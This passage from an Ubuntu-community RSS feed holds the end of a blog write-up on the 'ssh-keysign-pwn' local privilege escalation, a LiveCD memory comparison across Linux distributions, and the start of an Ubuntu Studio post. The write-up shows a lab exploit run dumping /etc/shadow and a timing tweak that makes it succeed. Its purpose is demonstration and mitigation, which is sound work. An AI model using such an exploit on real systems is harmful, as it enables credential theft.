ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">ls -l /usr/local/bin/vuln_target</mark> 
-rwsr-xr-x 1 root root 16216 May 20 21:35 /usr/local/bin/vuln_target
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<p class="wp-block-paragraph">Finally, we run the exploit. It shows the message <code>alive: EPERM on fd 3</code>. It worked half-way. It should show the contents of <code>/etc/shadow</code> but it does not. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">./exploit_vuln_target /usr/local/bin/vuln_target </mark>
alive: EPERM on fd 3
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<p class="wp-block-paragraph">Apparently, there is a timing issue and in the exploit code there is a hard-coded delay. If you change the delay (i.e. reduce it), you can get it to work. </p>



<pre class="wp-block-code"><code>ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ <mark style="background-color:#000000" class="has-inline-color has-white-color">./exploit_vuln_target /usr/local/bin/vuln_target </mark>
alive: EPERM on fd 3
fd 3 -> /etc/shadow (try 8)
root:*:20591:0:99999:7:::
daemon:*:20591:0:99999:7:::
bin:*:20591:0:99999:7:::
sys:*:20591:0:99999:7:::
sync:*:20591:0:99999:7:::
...
ubuntu@security-sshkeysignpwn:~/ssh-keysign-pwn$ </code></pre>



<h2 id="mitigation" class="wp-block-heading">Mitigation</h2>



<p class="wp-block-paragraph">A mitigation is to disable the ability to debug/trace. Either only allow to power users or disable it for all. See <a href="https://ubuntu.com/blog/ssh-keysign-pwn-linux-vulnerability-fixes-available">https://ubuntu.com/blog/ssh-keysign-pwn-linux-vulnerability-fixes-available</a> for the details.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Apparently, such issues are bound to appear more often. They require mitigations, apply the updated packages when they are ready, and then remove the mitigations. This is a Local Privilege Escalation (LPE) security vulnerability, which means that it affects vulnerable systems when a malicious user already has access to that system.</p>
<div class="saboxplugin-wrap" itemtype="http://schema.org/Person" itemscope itemprop="author"><div class="saboxplugin-tab"><div class="saboxplugin-gravatar"><img alt='Simos Xenitellis' src='https://secure.gravatar.com/avatar/fadb0e15964fa5c57144f8b9bccf3985281d04e3817a69d0885c0b911d66c59d?s=100&#038;d=wavatar&#038;r=g' srcset='https://secure.gravatar.com/avatar/fadb0e15964fa5c57144f8b9bccf3985281d04e3817a69d0885c0b911d66c59d?s=200&#038;d=wavatar&#038;r=g 2x' class='avatar avatar-100 photo' height='100' width='100' itemprop="image"/></div><div class="saboxplugin-authorname"><a href="https://blog.simos.info/author/simos/" class="vcard author" rel="author"><span class="fn">Simos Xenitellis</span></a></div><div class="saboxplugin-desc"><div itemprop="description"></div></div><div class="saboxplugin-web "><a href="https://blog.simos.info/" target="_self" >blog.simos.info/</a></div><div class="clearfix"></div></div></div>]]></description>
      <source url="https://blog.simos.info/category/planet-ubuntu/feed/?mrss=off">Simos Xenitellis</source>
    </item>
    <item>
      <title>2026 LiveCD Memory Usage Compare</title>
      <link>https://bryanquigley.com/posts/memory-usage/2026-livecd-memory-usage-compare.html</link>
      <guid isPermaLink="true">https://bryanquigley.com/posts/memory-usage/2026-livecd-memory-usage-compare.html</guid>
      <pubDate>Mon, 11 May 2026 00:54:00 GMT</pubDate>
      <description><![CDATA[<p>I am using pretty much the exact same setup I did in <a href="https://bryanquigley.com/posts/memory-usage/2024-livecd-memory-usage-compare.html">2024</a>. Let's see who is more efficient in a live session!</p>
<p>But first let's take a look at the image sizes:</p>
<p><!--?xml version='1.0' encoding='utf-8'?-->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="chart-3c39b805-9d69-4612-b93c-226f13dde545" class="pygal-chart" viewbox="0 0 800 600"><!--Generated with pygal 3.1.0 (lxml) ©Kozea 2012-2025 on 2026-05-12--><!--http://pygal.org--><!--http://github.com/Kozea/pygal--><defs></defs><title>Image size (in GB)</title><g class="graph bar-graph vertical"><rect x="0" y="0" width="800" height="600" class="background"></rect><g transform="translate(188, 46)" class="plot"><rect x="0" y="0" width="592.0" height="534" class="background"></rect><g class="axis y always_show"><g class="guides"><path d="M0.000000 523.730769 h592.000000" class="axis major line"></path><text x="-5" y="527.2307692307693" class="major">0</text><title>0</title></g><g class="guides"><path d="M0.000000 456.170040 h592.000000" class="guide line"></path><text x="-5" y="459.67004048583" class="">1</text><title>1</title></g><g class="guides"><path d="M0.000000 388.609312 h592.000000" class="guide line"></path><text x="-5" y="392.1093117408907" class="">2</text><title>2</title></g><g class="guides"><path d="M0.000000 321.048583 h592.000000" class="guide line"></path><text x="-5" y="324.5485829959514" class="">3</text><title>3</title></g><g class="guides"><path d="M0.000000 253.487854 h592.000000" class="guide line"></path><text x="-5" y="256.98785425101215" class="">4</text><title>4</title></g><g class="guides"><path d="M0.000000 185.927126 h592.000000" class="major guide line"></path><text x="-5" y="189.42712550607285" class="major">5</text><title>5</title></g><g class="guides"><path d="M0.000000 118.366397 h592.000000" class="guide line"></path><text x="-5" y="121.86639676113356" class="">6</text><title>6</title></g><g class="guides"><path d="M0.000000 50.805668 h592.000000" class="guide line"></path><text x="-5" y="54.30566801619432" class="">7</text><title>7</title></g></g><g class="series serie-0 color-0"><g class="bars"><g class="bar"><rect x="46.845217391304345" y="111.61032388663972" rx="0" ry="0" width="19.16575250836121" height="412.12044534412956" class="rect reactive tooltip-trigger"></rect><desc class="value">6.1</desc><desc class="x centered">56.42809364548495</desc><desc class="y centered">317.6705465587045</desc></g></g></g><g class="series serie-1 color-1"><g class="bars"><g class="bar"><rect x="68.62448160535116" y="192.68319838056675" rx="0" ry="0" width="19.16575250836121" height="331.04757085020253" class="rect reactive tooltip-trigger"></rect><desc class="value">4.9</desc><desc class="x centered">78.20735785953177</desc><desc class="y centered">358.206983805668</desc></g></g></g><g class="series serie-2 color-2"><g class="bars"><g class="bar"><rect x="90.403745819398" y="260.2439271255061" rx="0" ry="0" width="19.16575250836121" height="263.4868421052632" class="rect reactive tooltip-trigger"></rect><desc class="value">3.9</desc><desc class="x centered">99.9866220735786</desc><desc class="y centered">391.9873481781377</desc></g></g></g><g class="series serie-3 color-3"><g class="bars"><g class="bar"><rect x="112.18301003344482" y="199.43927125506076" rx="0" ry="0" width="19.16575250836121" height="324.2914979757085" class="rect reactive tooltip-trigger"></rect><desc class="value">4.8</desc><desc class="x centered">121.76588628762542</desc><desc class="y centered">361.585020242915</desc></g></g></g><g class="series serie-4 color-4"><g class="bars"><g class="bar"><rect x="133.96227424749162" y="273.7560728744939" rx="0" ry="0" width="19.16575250836121" height="249.9746963562754" class="rect reactive tooltip-trigger"></rect><desc class="value">3.7</desc><desc class="x centered">143.54515050167223</desc><desc class="y centered">398.74342105263156</desc></g></g></g><g class="series serie-5 color-5"><g class="bars"><g class="bar"><rect x="155.74153846153848" y="253.48785425101215" rx="0" ry="0" width="19.16575250836121" height="270.24291497975713" class="rect reactive tooltip-trigger"></rect><desc class="value">4</desc><desc class="x centered">165.3244147157191</desc><desc class="y centered">388.6093117408907</desc></g></g></g><g class="series serie-6 color-6"><g class="bars"><g class="bar"><rect x="177.5208026755853" y="165.6589068825911" rx="0" ry="0" width="19.16575250836121" height="358.0718623481782" class="rect reactive tooltip-trigger"></rect><desc class="value">5.3</desc><desc class="x centered">187.1036789297659</desc><desc class="y centered">344.69483805668017</desc></g></g></g><g class="series serie-7 color-7"><g class="bars"><g class="bar"><rect x="199.3000668896321" y="165.6589068825911" rx="0" ry="0" width="19.16575250836121" height="358.0718623481782" class="rect reactive tooltip-trigger"></rect><desc class="value">5.3</desc><desc class="x centered">208.8829431438127</desc><desc class="y centered">344.69483805668017</desc></g></g></g><g class="series serie-8 color-8"><g class="bars"><g class="bar"><rect x="221.07933110367895" y="172.41497975708495" rx="0" ry="0" width="19.16575250836121" height="351.31578947368433" class="rect reactive tooltip-trigger"></rect><desc class="value">5.2</desc><desc class="x centered">230.66220735785956</desc><desc class="y centered">348.0728744939271</desc></g></g></g><g class="series serie-9 color-9"><g class="bars"><g class="bar"><rect x="242.85859531772576" y="185.92712550607285" rx="0" ry="0" width="19.16575250836121" height="337.8036437246964" class="rect reactive tooltip-trigger"></rect><desc class="value">5</desc><desc class="x centered">252.44147157190636</desc><desc class="y centered">354.82894736842104</desc></g></g></g><g class="series serie-10 color-10"><g class="bars"><g class="bar"><rect x="264.6378595317726" y="226.4635627530364" rx="0" ry="0" width="19.16575250836121" height="297.2672064777329" class="rect reactive tooltip-trigger"></rect><desc class="value">4.4</desc><desc class="x centered">274.22073578595325</desc><desc class="y centered">375.09716599190284</desc></g></g></g><g class="series serie-11 color-11"><g class="bars"><g class="bar"><rect x="286.4171237458194" y="246.73178137651826" rx="0" ry="0" width="19.16575250836121" height="276.998987854251" class="rect reactive tooltip-trigger"></rect><desc class="value">4.1</desc><desc class="x centered">296.0</desc><desc class="y centered">385.23127530364377</desc></g></g></g><g class="series serie-12 color-12"><g class="bars"><g class="bar"><rect x="308.19638795986623" y="260.2439271255061" rx="0" ry="0" width="19.16575250836121" height="263.4868421052632" class="rect reactive tooltip-trigger"></rect><desc class="value">3.9</desc><desc class="x centered">317.77926421404686</desc><desc class="y centered">391.9873481781377</desc></g></g></g><g class="series serie-13 color-13"><g class="bars"><g class="bar"><rect x="329.9756521739131" y="273.7560728744939" rx="0" ry="0" width="19.16575250836121" height="249.9746963562754" class="rect reactive tooltip-trigger"></rect><desc class="value">3.7</desc><desc class="x centered">339.5585284280937</desc><desc class="y centered">398.74342105263156</desc></g></g></g><g class="series serie-14 color-14"><g class="bars"><g class="bar"><rect x="351.7549163879599" y="287.26821862348174" rx="0" ry="0" width="19.16575250836121" height="236.46255060728754" class="rect reactive tooltip-trigger"></rect><desc class="value">3.5</desc><desc class="x centered">361.33779264214047</desc><desc class="y centered">405.4994939271255</desc></g></g></g><g class="series serie-15 color-15"><g class="bars"><g class="bar"><rect x="373.53418060200676" y="327.80465587044534" rx="0" ry="0" width="19.16575250836121" height="195.92611336032394" class="rect reactive tooltip-trigger"></rect><desc class="value">2.9</desc><desc class="x centered">383.11705685618733</desc><desc class="y centered">425.7677125506073</desc></g></g></g><g class="series serie-16 color-16"><g class="bars"><g class="bar"><rect x="395.31344481605356" y="10.269230769230717" rx="0" ry="0" width="19.16575250836121" height="513.4615384615386" class="rect reactive tooltip-trigger"></rect><desc class="value">7.6</desc><desc class="x centered">404.8963210702342</desc><desc class="y centered">267.0</desc></g></g></g><g class="series serie-17 color-17"><g class="bars"><g class="bar"><rect x="417.09270903010037" y="341.3168016194332" rx="0" ry="0" width="19.16575250836121" height="182.4139676113361" class="rect reactive tooltip-trigger"></rect><desc class="value">2.7</desc><desc class="x centered">426.67558528428094</desc><desc class="y centered">432.5237854251012</desc></g></g></g><g class="series serie-18 color-18"><g class="bars"><g class="bar"><rect x="438.8719732441472" y="368.34109311740895" rx="0" ry="0" width="19.16575250836121" height="155.38967611336034" class="rect reactive tooltip-trigger"></rect><desc class="value">2.3</desc><desc class="x centered">448.4548494983278</desc><desc class="y centered">446.0359311740891</desc></g></g></g><g class="series serie-19 color-19"><g class="bars"><g class="bar"><rect x="460.65123745819403" y="354.82894736842104" rx="0" ry="0" width="19.16575250836121" height="168.90182186234824" class="rect reactive tooltip-trigger"></rect><desc class="value">2.5</desc><desc class="x centered">470.23411371237466</desc><desc class="y centered">439.27985829959516</desc></g></g></g><g class="series serie-20 color-20"><g class="bars"><g class="bar"><rect x="482.4305016722409" y="307.53643724696354" rx="0" ry="0" width="19.16575250836121" height="216.19433198380574" class="rect reactive tooltip-trigger"></rect><desc class="value">3.2</desc><desc class="x centered">492.0133779264215</desc><desc class="y centered">415.6336032388664</desc></g></g></g><g class="series serie-21 color-21"><g class="bars"><g class="bar"><rect x="504.2097658862877" y="321.0485829959514" rx="0" ry="0" width="19.16575250836121" height="202.6821862348179" class="rect reactive tooltip-trigger"></rect><desc class="value">3</desc><desc class="x centered">513.7926421404683</desc><desc class="y centered">422.38967611336034</desc></g></g></g><g class="series serie-22 color-22"><g class="bars"><g class="bar"><rect x="525.9890301003345" y="327.80465587044534" rx="0" ry="0" width="19.16575250836121" height="195.92611336032394" class="rect reactive tooltip-trigger"></rect><desc class="value">2.9</desc><desc class="x centered">535.5719063545151</desc><desc class="y centered">425.7677125506073</desc></g></g></g></g><g class="titles"><text x="400.0" y="26" class="title plot_title">Image size (in GB)</text></g><g transform="translate(188, 46)" class="plot overlay"><g class="series serie-0 color-0"></g><g class="series serie-1 color-1"></g><g class="series serie-2 color-2"></g><g class="series serie-3 color-3"></g><g class="series serie-4 color-4"></g><g class="series serie-5 color-5"></g><g class="series serie-6 color-6"></g><g class="series serie-7 color-7"></g><g class="series serie-8 color-8"></g><g class="series serie-9 color-9"></g><g class="series serie-10 color-10"></g><g class="series serie-11 color-11"></g><g class="series serie-12 color-12"></g><g class="series serie-13 color-13"></g><g class="series serie-14 color-14"></g><g class="series serie-15 color-15"></g><g class="series serie-16 color-16"></g><g class="series serie-17 color-17"></g><g class="series serie-18 color-18"></g><g class="series serie-19 color-19"></g><g class="series serie-20 color-20"></g><g class="series serie-21 color-21"></g><g class="series serie-22 color-22"></g></g><g transform="translate(188, 46)" class="plot text-overlay"><g class="series serie-0 color-0"></g><g class="series serie-1 color-1"></g><g class="series serie-2 color-2"></g><g class="series serie-3 color-3"></g><g class="series serie-4 color-4"></g><g class="series serie-5 color-5"></g><g class="series serie-6 color-6"></g><g class="series serie-7 color-7"></g><g class="series serie-8 color-8"></g><g class="series serie-9 color-9"></g><g class="series serie-10 color-10"></g><g class="series serie-11 color-11"></g><g class="series serie-12 color-12"></g><g class="series serie-13 color-13"></g><g class="series serie-14 color-14"></g><g class="series serie-15 color-15"></g><g class="series serie-16 color-16"></g><g class="series serie-17 color-17"></g><g class="series serie-18 color-18"></g><g class="series serie-19 color-19"></g><g class="series serie-20 color-20"></g><g class="series serie-21 color-21"></g><g class="series serie-22 color-22"></g></g><g transform="translate(188, 46)" class="plot tooltip-overlay"><g transform="translate(0 0)" style="opacity: 0" class="tooltip"><rect rx="0" ry="0" width="0" height="0" class="tooltip-box"></rect><g class="text"></g></g></g><g transform="translate(10, 56)" class="legends"><g id="activate-serie-0" class="legend reactive activate-serie"><rect x="0.0" y="1.0" width="12" height="12" class="color-0 reactive"></rect><text x="17.0" y="11.2">Ubuntu</text></g><g id="activate-serie-1" class="legend reactive activate-serie"><rect x="0.0" y="22.0" width="12" height="12" class="color-1 reactive"></rect><text x="17.0" y="32.2">Xubuntu</text></g><g id="activate-serie-2" class="legend reactive activate-serie"><rect x="0.0" y="43.0" width="12" height="12" class="color-2 reactive"></rect><text x="17.0" y="53.2">Ubuntu Budgie</text></g><g id="activate-serie-3" class="legend reactive activate-serie"><rect x="0.0" y="64.0" width="12" height="12" class="color-3 reactive"></rect><text x="17.0" y="74.2">Kubuntu</text></g><g id="activate-serie-4" class="legend reactive activate-serie"><rect x="0.0" y="85.0" width="12" height="12" class="color-4 reactive"></rect><text x="17.0" y="95.2">Lubuntu</text></g><g id="activate-serie-5" class="legend reactive activate-serie"><rect x="0.0" y="106.0" width="12" height="12" class="color-5 reactive"></rect><text x="17.0" y="116.2">Ubuntu Unity</text></g><g id="activate-serie-6" class="legend reactive activate-serie"><rect x="0.0" y="127.0" width="12" height="12" class="color-6 reactive"></rect><text x="17.0" y="137.2">Ubuntu Cinnamon</text></g><g id="activate-serie-7" class="legend reactive activate-serie"><rect x="0.0" y="148.0" width="12" height="12" class="color-7 reactive"></rect><text x="17.0" y="158.2">Manjaro KDE</text></g><g id="activate-serie-8" class="legend reactive activate-serie"><rect x="0.0" y="169.0" width="12" height="12" class="color-8 reactive"></rect><text x="17.0" y="179.2">Manjaro Gnome</text></g><g id="activate-serie-9" class="legend reactive activate-serie"><rect x="0.0" y="190.0" width="12" height="12" class="color-9 reactive"></rect><text x="17.0" y="200.2">Manjaro XFCE</text></g><g id="activate-serie-10" class="legend reactive activate-serie"><rect x="0.0" y="211.0" width="12" height="12" class="color-10 reactive"></rect><text x="17.0" y="221.2">Debian KDE Tes…</text><title>Debian KDE Testing</title></g><g id="activate-serie-11" class="legend reactive activate-serie"><rect x="0.0" y="232.0" width="12" height="12" class="color-11 reactive"></rect><text x="17.0" y="242.2">Debian Gnome T…</text><title>Debian Gnome Testing</title></g><g id="activate-serie-12" class="legend reactive activate-serie"><rect x="0.0" y="253.0" width="12" height="12" class="color-12 reactive"></rect><text x="17.0" y="263.2">Debian XFCE Te…</text><title>Debian XFCE Testing</title></g><g id="activate-serie-13" class="legend reactive activate-serie"><rect x="0.0" y="274.0" width="12" height="12" class="color-13 reactive"></rect><text x="17.0" y="284.2">Zorin OS</text></g><g id="activate-serie-14" class="legend reactive activate-serie"><rect x="0.0" y="295.0" width="12" height="12" class="color-14 reactive"></rect><text x="17.0" y="305.2">EndeavourOS Ti…</text><title>EndeavourOS Titan Neo</title></g><g id="activate-serie-15" class="legend reactive activate-serie"><rect x="0.0" y="316.0" width="12" height="12" class="color-15 reactive"></rect><text x="17.0" y="326.2">Cachyos 260426</text></g><g id="activate-serie-16" class="legend reactive activate-serie"><rect x="0.0" y="337.0" width="12" height="12" class="color-16 reactive"></rect><text x="17.0" y="347.2">Bazzite nvidia…</text><title>Bazzite nvidia open stable</title></g><g id="activate-serie-17" class="legend reactive activate-serie"><rect x="0.0" y="358.0" width="12" height="12" class="color-17 reactive"></rect><text x="17.0" y="368.2">Fedora Worksta…</text><title>Fedora Workstation</title></g><g id="activate-serie-18" class="legend reactive activate-serie"><rect x="0.0" y="379.0" width="12" height="12" class="color-18 reactive"></rect><text x="17.0" y="389.2">Fedora Sway</text></g><g id="activate-serie-19" class="legend reactive activate-serie"><rect x="0.0" y="400.0" width="12" height="12" class="color-19 reactive"></rect><text x="17.0" y="410.2">Fedora KDE Mob…</text><title>Fedora KDE Mobile</title></g><g id="activate-serie-20" class="legend reactive activate-serie"><rect x="0.0" y="421.0" width="12" height="12" class="color-20 reactive"></rect><text x="17.0" y="431.2">Fedora KDE</text></g><g id="activate-serie-21" class="legend reactive activate-serie"><rect x="0.0" y="442.0" width="12" height="12" class="color-21 reactive"></rect><text x="17.0" y="452.2">Fedora COSMIC</text></g><g id="activate-serie-22" class="legend reactive activate-serie"><rect x="0.0" y="463.0" width="12" height="12" class="color-22 reactive"></rect><text x="17.0" y="473.2">Fedora Budgie</text></g></g><g transform="translate(790, 56)" class="legends"></g></g></svg></p>
<h2>Round 1 - Basic Bootup</h2>
<p><strong>Requirements</strong>: Trying each image with 1.5 GB. Had a 3 minute timer going on each boot so I didn't let it take forever. I mostly did not test twice, so your results may vary.</p>
<ul>
<li><strong>Ubuntu</strong> - Boots, not responsive. <strong>Out.</strong></li>
<li><strong>Xubuntu</strong> - Boots and browser opens slowly.</li>
<li><strong>Ubuntu Budgie</strong> - Boots to Ubuntu welcome and Budgie welcome. Having both makes it very laggy to start. Eventually a terminal opens, but menu doesn't.  Borderline but <strong>Out.</strong></li>
<li><strong>Kubuntu</strong> - Fails to boot. <strong>Out.</strong></li>
<li><strong>Lubuntu</strong> - Responsive and fast as expected. Easy pass.</li>
<li><strong>Ubuntu Unity</strong> - Boots in 2 minutes but becomes unstable. <strong>Out.</strong></li>
<li><strong>Ubuntu Cinnamon</strong> -Boots OK, Menu loads slowly. Doesn't launch anything. <strong>Out.</strong></li>
<li><strong>Manjaro KDE</strong> - Boots to desktop (pretty background!), but not responsive after. <strong>Out.</strong></li>
<li><strong>Manjaro Gnome</strong> - Seems responsive for a bit (but without icons) but then stops. <strong>Out.</strong></li>
<li><strong>Manjaro XFCE</strong> - Boots and responsive.</li>
<li><strong>Debian KDE Testing</strong> - Gets a mouse instantly and then just a background. <strong>Out.</strong></li>
<li><strong>Debian Gnome Testing</strong> - Almost responsive enough, but couldn't launch anything. <strong>Out.</strong></li>
<li><strong>Debian XFCE Testing</strong> - Boots and responsive.</li>
<li><strong>Zorin OS</strong> - Gives an error message "Something has gone wrong". That's a level of polish we don't have on other Linuxes. <strong>Out.</strong></li>
<li><strong>EndeavourOS Titan Neo</strong> - Boots, not responsive. <strong>Out.</strong></li>
<li><strong>CachyOS 260426</strong> - Bit laggy, but can launch apps.</li>
<li><strong>Bazzite nvidia open stable</strong> - Boots with 1.5GB but not enough to lauch Firefox.  Also warns that it's way too little memory!</li>
<li><strong>Fedora Workstation</strong> - Gets to desktop and can do a bit of moving, but not enough to use. <strong>Out.</strong></li>
<li><strong>Fedora Sway</strong> - Responsive.</li>
<li><strong>Fedora KDE Mobile</strong> - Gives wizard but doesn't finish booting. <strong>Out.</strong></li>
<li><strong>Fedora KDE</strong> - Fails to boot. <strong>Out.</strong></li>
<li><strong>Fedora COSMIC</strong> - Boots but not reponsive enough. <strong>Out.</strong></li>
<li><strong>Fedora Budgie</strong> - Responsive.</li>
</ul>
<p>So let's cover some of the ones that are out in slightly more detail.</p>
<h3>5 Min reviews of some who didn't pass to the next round</h3>
<h4>Zorin OS - 5 min Review</h4>
<ul>
<li><strong>Software</strong>: Brave (web browser). Gnome Software,  Linux 6.17. Based on Ubuntu.</li>
<li>LibreOffice is configured to use the Ribbon which is likely better for recent converts.</li>
<li>They still have Brasero for CD/DVD Burning</li>
<li>They have both Snap and Flatpak installed - but no apps using each - Flatpak has a bunch of their themes though.</li>
<li>Zorin Appearance does make it easier to switch desktop UI "models"</li>
</ul>
<p>I'm always interested in new linux distro business models. It's not really targetted at me, but nice to see it out there.</p>
<h4>Endeavour OS</h4>
<p>"A terminal-centric system ready to personalize." Opposite target users as above. </p>
<ul>
<li><strong>Software</strong>: KDE as default desktop with Firefox browser. Linux 6.19</li>
<li>No GUI for App installing. Neither Snap or Flatpak preinstalled. Based on Arch.</li>
<li>GUI app for rsync.</li>
<li>Transparency on by default which I don't personally like.</li>
</ul>
<h4>Fedora KDE Mobile</h4>
<p>Gives you a wizard to go through to setup for your device.  Designed for touch.</p>
<p>Does come with 2 browsers - Firefox and Angelfish (a browser designed for mobile).</p>
<p>It's very clear this is not ideal to demo on a desktop with no touchscreen.</p>
<h2>Round 2 - Web browser</h2>
<p><strong>Requirements</strong>: Can we start and run a web browser and load a website in those 3 minutes with 1.5GB, without much lag. If possible watch the first 20 seconds of <a href="https://commons.wikimedia.org/wiki/File:WING_IT!_-_Blender_Open_Movie-full_movie.webm">WING IT! Blender Open Movie from wikipedia commons</a>.</p>
<ul>
<li><strong>Xubuntu</strong> - Out. Just barely able to load a site. Not responsive.</li>
<li><strong>Lubuntu</strong> - Web browser is actually quite laggy. Video is able to play, but barely.</li>
<li><strong>Manjaro XFCE</strong> - Very slow. Eventually browser and session died.</li>
<li><strong>Debian XFCE Testing</strong> - Boots and responsive. Firefox ESR 140. Movie plays fine.</li>
<li><strong>CachyOS 260426</strong> - Can't load Firefox.</li>
<li><strong>Bazzite Nvidia open stable</strong> - Can't load Firefox.</li>
<li><strong>Fedora Sway</strong> - Boots and responsive.  Firefox 150.  Movie plays fine.</li>
<li><strong>Fedora Budgie</strong> - A bit unresponsive but does play movie OK.</li>
</ul>
<h2>Round 3 - File Manager</h2>
<p><strong>Requirements</strong> : 1 GB of memory. Must fully load the background.  Has 30 seconds to load file manager after reaching desktop. Must be smooth opening it.</p>
<ul>
<li><strong>Xubuntu</strong> - Fails</li>
<li><strong>Lubuntu</strong> - Passes, <strong>Smooth</strong>.</li>
<li><strong>Manjaro XFCE</strong> - Fails with part of the intro screen.</li>
<li><strong>Debian XFCE Testing</strong> - Fails with Panic.</li>
<li><strong>Cachyos 260426</strong> - Fails with Intro message.</li>
<li><strong>Bazzite nvidia open stable</strong> - Fails with message alerting user to low memory!</li>
<li><strong>Fedora Sway</strong> - Passes. <strong>Smooth</strong>.</li>
<li><strong>Fedora Budgie</strong> - Not smooth.</li>
</ul>
<h2>Round 4 - Breaking Point</h2>
<p><strong>Requirements</strong>: Same as above except we reduce the memory amount in 0.05G increments. </p>
<p><!--?xml version='1.0' encoding='utf-8'?-->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="chart-8abe888e-02dd-42b6-a2ed-7c89556d346d" class="pygal-chart" viewbox="0 0 800 600"><!--Generated with pygal 3.1.0 (lxml) ©Kozea 2012-2025 on 2026-05-12--><!--http://pygal.org--><!--http://github.com/Kozea/pygal--><defs></defs><title>Memory usage compared (in G)</title><g class="graph bar-graph vertical"><rect x="0" y="0" width="800" height="600" class="background"></rect><g transform="translate(48, 46)" class="plot"><rect x="0" y="0" width="689.9802870281301" height="477.4266705405059" class="background"></rect><g class="axis y always_show"><g class="guides"><path d="M0.000000 468.245388 h689.980287" class="axis major line"></path><text x="-5" y="471.7453884147269" class="major">0</text><title>0</title></g><g class="guides"><path d="M0.000000 414.237846 h689.980287" class="guide line"></path><text x="-5" y="417.7378464983801" class="">0.1</text><title>0.1</title></g><g class="guides"><path d="M0.000000 360.230305 h689.980287" class="guide line"></path><text x="-5" y="363.7303045820333" class="">0.2</text><title>0.2</title></g><g class="guides"><path d="M0.000000 306.222763 h689.980287" class="guide line"></path><text x="-5" y="309.72276266568645" class="">0.3</text><title>0.3</title></g><g class="guides"><path d="M0.000000 252.215221 h689.980287" class="guide line"></path><text x="-5" y="255.71522074933964" class="">0.4</text><title>0.4</title></g><g class="guides"><path d="M0.000000 198.207679 h689.980287" class="major guide line"></path><text x="-5" y="201.70767883299283" class="major">0.5</text><title>0.5</title></g><g class="guides"><path d="M0.000000 144.200137 h689.980287" class="guide line"></path><text x="-5" y="147.70013691664604" class="">0.6</text><title>0.6</title></g><g class="guides"><path d="M0.000000 90.192595 h689.980287" class="guide line"></path><text x="-5" y="93.69259500029926" class="">0.7</text><title>0.7</title></g><g class="guides"><path d="M0.000000 36.185053 h689.980287" class="guide line"></path><text x="-5" y="39.68505308395231" class="">0.8</text><title>0.8</title></g></g><g class="axis x"><path d="M0.000000 0.000000 v477.426671" class="line"></path><g class="guides"><path d="M179.129498 0.000000 v477.426671" class="guide line"></path><text x="179.12949759384148" y="492.4266705405059" class="" transform="rotate(20 179.129498 492.426671)">Lubuntu</text></g><g class="guides"><path d="M510.850789 0.000000 v477.426671" class="guide line"></path><text x="510.8507894342886" y="492.4266705405059" class="" transform="rotate(20 510.850789 492.426671)">Fedora Sway</text></g></g><g class="series serie-0 color-0"><g class="bars"><g class="bar"><rect x="50.68701339322031" y="117.1963659584726" rx="0" ry="0" width="256.88496840124225" height="351.0490224562543" class="rect reactive tooltip-trigger"></rect><desc class="value">0.65</desc><desc class="x centered">179.12949759384145</desc><desc class="y centered">292.72087718659975</desc><desc class="x_label">Lubuntu</desc></g><g class="bar"><rect x="382.4083052336675" y="9.181282125778978" rx="0" ry="0" width="256.88496840124225" height="459.0641062889479" class="rect reactive tooltip-trigger"></rect><desc class="value">0.85</desc><desc class="x centered">510.8507894342886</desc><desc class="y centered">238.71333527025294</desc><desc class="x_label">Fedora Sway</desc></g></g></g></g><g class="titles"><text x="400.0" y="26" class="title plot_title">Memory usage compared (in G)</text></g><g transform="translate(48, 46)" class="plot overlay"><g class="series serie-0 color-0"></g></g><g transform="translate(48, 46)" class="plot text-overlay"><g class="series serie-0 color-0"></g></g><g transform="translate(48, 46)" class="plot tooltip-overlay"><g transform="translate(0 0)" style="opacity: 0" class="tooltip"><rect rx="0" ry="0" width="0" height="0" class="tooltip-box"></rect><g class="text"></g></g></g><g transform="translate(58, 566)" class="legends"><g id="activate-serie-0" class="legend reactive activate-serie"><rect x="0.0" y="1.0" width="12" height="12" class="color-0 reactive"></rect><text x="17.0" y="11.2">Desktop responsive to Folder</text></g></g></g></svg></p>
<h2>Conclusion</h2>
<ul>
<li>Lubuntu still wins even with a bigger comparison base, but minimum memory has increased.</li>
<li>All Ubuntu image sizes seem up a good amount.</li>
<li>Zorin and Bazzite provide much more user friendly error messages when things go wrong. Other distros can learn from this to make a better user experience.</li>
</ul>
<p>Notes:</p>
<ul>
<li>qemu-system-x86_64 -enable-kvm -bios /usr/share/ovmf/OVMF.fd -cdrom bazzite-nvidia-open-stable-live-amd64.iso -m 1.5G -smp 4 -cpu host -vga virtio --full-screen</li>
<li>Full screen video apparently is an intensive task.  Dropped testing that.</li>
<li>Just picked the 3 testing debian that they promote on the main page.</li>
<li>Fedora offers many spins.  As a gauge for popularity I'm picking the 5 also available as an Immutable desktop. But I'm not testing those :) as they aren't liveCDs. I'm adding back in KDE Mobile cause I wanted to try it.</li>
<li>Manjaro has Full or Minimal Images available.  Must use full to get full browser.</li>
<li>Bazzite has KDE and Gnome - just picking KDE with modern Nvidia driver (realized later that makes no sense, but oh well).</li>
<li>I might test the next version of PopOS and AnduinOS (and others) as they update to the latest Ubuntu base.</li>
<li>Ubuntu Mate no release https://discourse.ubuntu.com/t/ubuntu-mate-seeking-maintainers/79264 </li>
<li>Linux Mint changing release cycle to do newer release around Christmas. (Already reviewed base set 2 years ago)</li>
<li>Ubuntu version was 26.04.  Fedora was 44.</li>
</ul>]]></description>
      <source url="https://bryanquigley.com/rss.xml">Bryan Quigley</source>
    </item>
    <item>
      <title>Ubuntu Studio’s New Home: What’s Changing and Why</title>
      <link>https://ubuntustudio.org/2026/05/ubuntu-studios-new-home-whats-changing-and-why/</link>
      <guid isPermaLink="true">https://ubuntustudio.org/2026/05/ubuntu-studios-new-home-whats-changing-and-why/</guid>
      <pubDate>Sun, 10 May 2026 02:25:40 GMT</pubDate>
      <description><![CDATA[<div class="wp-block-image">
